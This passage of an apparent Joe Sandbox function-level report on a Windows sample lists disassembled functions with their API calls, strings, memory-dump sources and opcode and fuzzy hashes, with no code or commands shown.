Opcode ID: 4629ce28c24575fa998f22937708fe0feac1f339ddb28addb223e5ca3634c4d7
Instruction ID: 008f58bd640f99bb5059daef70f4b13c889d6f0584ba548382fb6147011b8261
Opcode Fuzzy Hash: 4629ce28c24575fa998f22937708fe0feac1f339ddb28addb223e5ca3634c4d7
Instruction Fuzzy Hash: CE313C366097C187E770CF15B454A9AB7A1F789BA0F504225EBA913B99CF3DD885CF00

Function 00007FF6B5BA4DF8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF6B5BA4E29
GetVolumeInformationW.KERNEL32 ref: 00007FF6B5BA4E9F
SetErrorMode.KERNEL32 ref: 00007FF6B5BA4F0E

Strings

%lu, xrefs: 00007FF6B5BA4EB0

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: 672d97fc72a5ca8b35a6a563d603e89b9dfb37273f5f93e5ec3f9e9d545e6ea4
Instruction ID: bb74a1cee5b11c0d67bcb8ef3269eb2077fb550a2cee74ff81028e53ca94e586
Opcode Fuzzy Hash: 672d97fc72a5ca8b35a6a563d603e89b9dfb37273f5f93e5ec3f9e9d545e6ea4
Instruction Fuzzy Hash: D6316172608B8686EB14DB1AE4501ADB7A1FB8AFC0F404035EB8D83B6ADF7DD955C700

Function 00007FF6B5B8F5CC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B8F378: SendMessageTimeoutW.USER32 ref: 00007FF6B5B8F3A8
Part of subcall function 00007FF6B5B8F378: GetWindowThreadProcessId.USER32 ref: 00007FF6B5B8F3B8
Part of subcall function 00007FF6B5B8F378: GetCurrentThreadId.KERNEL32 ref: 00007FF6B5B8F3C0
Part of subcall function 00007FF6B5B8F378: AttachThreadInput.USER32 ref: 00007FF6B5B8F3E5

GetFocus.USER32 ref: 00007FF6B5B8F605

Part of subcall function 00007FF6B5B8F3F4: GetParent.USER32 ref: 00007FF6B5B8F407

GetClassNameW.USER32 ref: 00007FF6B5B8F656
EnumChildWindows.USER32 ref: 00007FF6B5B8F684

Part of subcall function 00007FF6B5B8F378: GetWindowThreadProcessId.USER32 ref: 00007FF6B5B8F3D0
Part of subcall function 00007FF6B5B8F378: GetCurrentThreadId.KERNEL32 ref: 00007FF6B5B8F3D8

Strings

%s%d, xrefs: 00007FF6B5B8F691

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachChildClassEnumFocusInputMessageNameParentSendTimeoutWindows
String ID: %s%d
API String ID: 2330185562-1110647743
Opcode ID: 4f7089e3504d96f16b1fb726daf46c0f00a77062a3aa85cf481a60796f0195a0
Instruction ID: f70506739c12214e70f141240a91638ee411e4b241eb147dbf6ed0da45cab841
Opcode Fuzzy Hash: 4f7089e3504d96f16b1fb726daf46c0f00a77062a3aa85cf481a60796f0195a0
Instruction Fuzzy Hash: AE218D21A08B8291EA14DB2AE4602FA6361FB4AFC0F545132DF9D8776BCE2CE905C701

Function 00007FF6B5B48782 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B47130: __vcrt_getptd_noexit.LIBVCRUNTIME ref: 00007FF6B5B47134

__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF6B5B487AA
RaiseException.KERNEL32 ref: 00007FF6B5B487D3
__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF6B5B48834

Strings

csm, xrefs: 00007FF6B5B48807

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Exception$DestructObject$Raise__vcrt_getptd_noexit
String ID: csm
API String ID: 2280078643-1018135373
Opcode ID: f3b44f69e9663573439d22a4e4da11b073c1d9211702bf15dcc91806c3a7fe41
Instruction ID: b96b177e7197d9d6d6f53636cf9c4b07ec0f50d3afb45e9f434d5b2c017721f1
Opcode Fuzzy Hash: f3b44f69e9663573439d22a4e4da11b073c1d9211702bf15dcc91806c3a7fe41
Instruction Fuzzy Hash: F221303660864182E671DF19E4501AE77A1F786FA4F400225DF9D43B9ACF3DEC86CB00

Function 00007FF6B5B9C110 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF6B5B9C14F
DeviceIoControl.KERNEL32 ref: 00007FF6B5B9C1CB
CloseHandle.KERNEL32 ref: 00007FF6B5B9C1D6

Strings

0, xrefs: 00007FF6B5B9C1AC

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID: 0
API String ID: 33631002-4108050209
Opcode ID: 122fac756a3aebd614dbe24bd4d9d3fcd08661cb9d9b68eb4b308195107418d6
Instruction ID: 61790cb93443e702a20f038f5ab34decf5ec8a75c9b42fc5aea742e715e28bcd
Opcode Fuzzy Hash: 122fac756a3aebd614dbe24bd4d9d3fcd08661cb9d9b68eb4b308195107418d6
Instruction Fuzzy Hash: 0321A332618B80C6D3608F25E494ADA77B4F385B94F64422AEB9D43B99CF3CCA55CB00

Function 00007FF6B5BBAF20 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF6B5B82DD1), ref: 00007FF6B5BBAF37
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF6B5B82DD1), ref: 00007FF6B5BBAF4F

Strings

GetSystemWow64DirectoryW, xrefs: 00007FF6B5BBAF45
kernel32.dll, xrefs: 00007FF6B5BBAF30

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: b553b98cf413c0522d0a8d0790f0dad2998fa959ac13788e6be9999dd8a5b612
Instruction ID: e26b857a9a1b43fff02ffcd00d6c49770e65adbcaf1bd910a8017a112df44660
Opcode Fuzzy Hash: b553b98cf413c0522d0a8d0790f0dad2998fa959ac13788e6be9999dd8a5b612
Instruction Fuzzy Hash: 09F0AC61A15F0582EF199B58E4A43B823E4FB19F19F940435CA1D863A9EFBCDD69C340

Function 00007FF6B5B932F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF6B5B9330B
GetProcAddress.KERNEL32 ref: 00007FF6B5B93323

Strings

kernel32.dll, xrefs: 00007FF6B5B93304
GetNativeSystemInfo, xrefs: 00007FF6B5B93319

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 9c402017b67deeecdf71e3c2df55c45970ec8440a50b34eba4d95c6c8b29e614
Instruction ID: 2ee703889e528eb58261f461ed20fc96fa1123864ba847807047247de08038a5
Opcode Fuzzy Hash: 9c402017b67deeecdf71e3c2df55c45970ec8440a50b34eba4d95c6c8b29e614
Instruction Fuzzy Hash: CAE01262959F0682EF148B18E4643B823E0FB59F58F840435CA1E863DAEFBCD995C300

Function 00007FF6B5B8B7E4 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cc42966959b643a311328828219b797476ac122a15b5d67e7ee0a83cfbaecc2
Instruction ID: bd9fb6e74ff219b6064173b2c0aebda7c79ee90eced656532f326835df8f8a71
Opcode Fuzzy Hash: 1cc42966959b643a311328828219b797476ac122a15b5d67e7ee0a83cfbaecc2
Instruction Fuzzy Hash: 3DD10566B04B5686EB148F3AC4A02AC37B0FB89F88B159426DF5D87B69DF39D844C311

Function 00007FF6B5BB79D8 Relevance: 6.3, APIs: 4, Instructions: 282COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00007FF6B5BB7A72

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: f7e9a6a1c2f8c019007800361108cca29dc074ba0bb03e63b32f82c3ddf48b44
Instruction ID: 0f22bb4c88787751a65137ff61ef3cd4069bc0e7422d0d5d6990a26220915f74
Opcode Fuzzy Hash: f7e9a6a1c2f8c019007800361108cca29dc074ba0bb03e63b32f82c3ddf48b44
Instruction Fuzzy Hash: C1D15C76B04B419AEB10EB69D4A01EC37B5FB45B88B404436DF0D97B9ADF78E919C380

Function 00007FF6B5BCD88C Relevance: 6.1, APIs: 4, Instructions: 134windowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,00007FF6B5BABCA6), ref: 00007FF6B5BCD91A
ScreenToClient.USER32 ref: 00007FF6B5BCD947
MoveWindow.USER32 ref: 00007FF6B5BCD9C5
SendMessageW.USER32 ref: 00007FF6B5BCDA2D

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Window$ClientMessageMoveRectScreenSend
String ID:
API String ID: 1249313431-0
Opcode ID: 9c4d75fca34e601744925f37f1e480e3e4c466c4cf94c3035283d246947070fa
Instruction ID: 1901fe3c92d7bd14058a2c6e6396a0be5c0de4b280da62054df3fed4450e0947
Opcode Fuzzy Hash: 9c4d75fca34e601744925f37f1e480e3e4c466c4cf94c3035283d246947070fa
Instruction Fuzzy Hash: 5351A03AA04A828AEB50CF29D4906F93761F785F98F504136DB2D97789DF79EC41C300

Function 00007FF6B5B9BAB8 Relevance: 6.1, APIs: 4, Instructions: 127COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32 ref: 00007FF6B5B9BB6F
GetLastError.KERNEL32 ref: 00007FF6B5B9BB7E
CreateDirectoryW.KERNEL32 ref: 00007FF6B5B9BB8E
CreateDirectoryW.KERNEL32 ref: 00007FF6B5B9BC27

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 885fddea0d2d34b219ca6ab898c8b75d575591909594024e161a1fcc4b4d8134
Instruction ID: a43f50b08b06132818a5e914d1732121bf752af4b891e599e3c7b566aaf407fe
Opcode Fuzzy Hash: 885fddea0d2d34b219ca6ab898c8b75d575591909594024e161a1fcc4b4d8134
Instruction Fuzzy Hash: 01517A22B09A1185EF548B6AD8605EC63B5FB56F94B544135DF0D937AEDF3CD9428300

Function 00007FF6B5BB43C8 Relevance: 6.1, APIs: 4, Instructions: 126networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32 ref: 00007FF6B5BB4414
WSAGetLastError.WSOCK32 ref: 00007FF6B5BB4423
#21.WSOCK32 ref: 00007FF6B5BB44AD
WSAGetLastError.WSOCK32 ref: 00007FF6B5BB44B7

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: 2f7cf8263c41ad3ca56e1a8fad4cf6ea685e9961862279cbfea50359dc3cc1a2
Instruction ID: 97fc37031a3c1a5ef5d812fa164f2c2fff06b0695941902a2e2f87616e7ad6e9
Opcode Fuzzy Hash: 2f7cf8263c41ad3ca56e1a8fad4cf6ea685e9961862279cbfea50359dc3cc1a2
Instruction Fuzzy Hash: 7B41946170868286EB14EF1AA4606A96B91FB86FE0F444534DF1D9B7DBCF3DD8018750

Function 00007FF6B5BA5DA4 Relevance: 6.1, APIs: 4, Instructions: 108fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32 ref: 00007FF6B5BA5E75
GetLastError.KERNEL32 ref: 00007FF6B5BA5E98
DeleteFileW.KERNEL32 ref: 00007FF6B5BA5EC1
CreateHardLinkW.KERNEL32 ref: 00007FF6B5BA5EFA

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: f222de675bb5cfeccc39e8564db9bf58fcd79be7e0b29fca596ca30ba57e565e
Instruction ID: fb017cca34603db25d047d1db463d6be5cbc5f4f26f161f9e02361441eda92cb
Opcode Fuzzy Hash: f222de675bb5cfeccc39e8564db9bf58fcd79be7e0b29fca596ca30ba57e565e
Instruction Fuzzy Hash: 6C410D66B04B4681DB10DF2AD4A14AD7760FB89FD0B489432DF5E877ABCE3DE8418710

Function 00007FF6B5B5C72C Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B5C77F
WideCharToMultiByte.KERNEL32 ref: 00007FF6B5B5C851
GetLastError.KERNEL32 ref: 00007FF6B5B5C874
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B5C8A6

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: a9867840faaecfdaa354c38ff02ada8b7424d64697801e09ff4ff5a4409c6d4e
Instruction ID: fe898989253bbd1eef4e99bb4ad8d35776cfa447f2165d9f6233e0113db2a663
Opcode Fuzzy Hash: a9867840faaecfdaa354c38ff02ada8b7424d64697801e09ff4ff5a4409c6d4e
Instruction Fuzzy Hash: DF41953290974286FB699B28F0703F96692AF42F90F144130DB4986EDFDF2CDC428700

Function 00007FF6B5BCC580 Relevance: 6.1, APIs: 4, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF6B5BCC630
GetWindowLongW.USER32 ref: 00007FF6B5BCC658
SetWindowLongPtrW.USER32 ref: 00007FF6B5BCC66D
InvalidateRect.USER32(?,00000000,?,00007FF6B5B6DF79), ref: 00007FF6B5BCC6A4

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: 41522454ef5ffe58f3c47094a62836e99305b084494bc2ef8d406c22aeaeab5d
Instruction ID: b5886d497e28d4daeb5bc001b4331f7b3770f564e3a7e6d00eabaefb25168683
Opcode Fuzzy Hash: 41522454ef5ffe58f3c47094a62836e99305b084494bc2ef8d406c22aeaeab5d
Instruction Fuzzy Hash: C8419D21E0854686FB648B18C6613F86761EB96F95F185132D72E836DBCF3CEC818708

Function 00007FF6B5BAD7DC Relevance: 6.1, APIs: 4, Instructions: 82networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET ref: 00007FF6B5BAD843

Part of subcall function 00007FF6B5BAD914: InternetOpenUrlW.WININET ref: 00007FF6B5BAD954
Part of subcall function 00007FF6B5BAD914: InternetCloseHandle.WININET ref: 00007FF6B5BADA38

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 9c6a6dce98b363ecdfbcced4837c14e9bd6a16cec9fa7559d6c8d26d8fbc25c1
Instruction ID: 5c16e3c38fb455004275e09bdf82ce5feeea0f58bde5346eb928e9a3999d823b
Opcode Fuzzy Hash: 9c6a6dce98b363ecdfbcced4837c14e9bd6a16cec9fa7559d6c8d26d8fbc25c1
Instruction Fuzzy Hash: D4314D36A08B4286FB649B1AE4607B9A361FB4AF94F044135DB4D47B8EDF3CE8548B40

Function 00007FF6B5B63D98 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF6B5B5A27B,?,?,?,00007FF6B5B5A236), ref: 00007FF6B5B63DB1
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF6B5B5A27B,?,?,?,00007FF6B5B5A236), ref: 00007FF6B5B63E13
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF6B5B5A27B,?,?,?,00007FF6B5B5A236), ref: 00007FF6B5B63E4D
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF6B5B5A27B,?,?,?,00007FF6B5B5A236), ref: 00007FF6B5B63E77

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 01582a1cc1afdad6e1d5985337141992fa687edcd13d7850452916e3cfeba0bf
Instruction ID: a7f4e051221fa3a0d981e2e6dddae1d6bd952634605b28b9066a0807d8b77374
Opcode Fuzzy Hash: 01582a1cc1afdad6e1d5985337141992fa687edcd13d7850452916e3cfeba0bf
Instruction Fuzzy Hash: 83218422F1875181E6209F19A450069B6A5FF55FD0B084134DF8EA3BDEDF3CE852C710

Function 00007FF6B5BCF8A8 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF6B5BCF90E
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,00007FF6B5BACD60), ref: 00007FF6B5BCF937
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,00007FF6B5BACD60), ref: 00007FF6B5BCF952
SetWindowPos.USER32 ref: 00007FF6B5BCF988

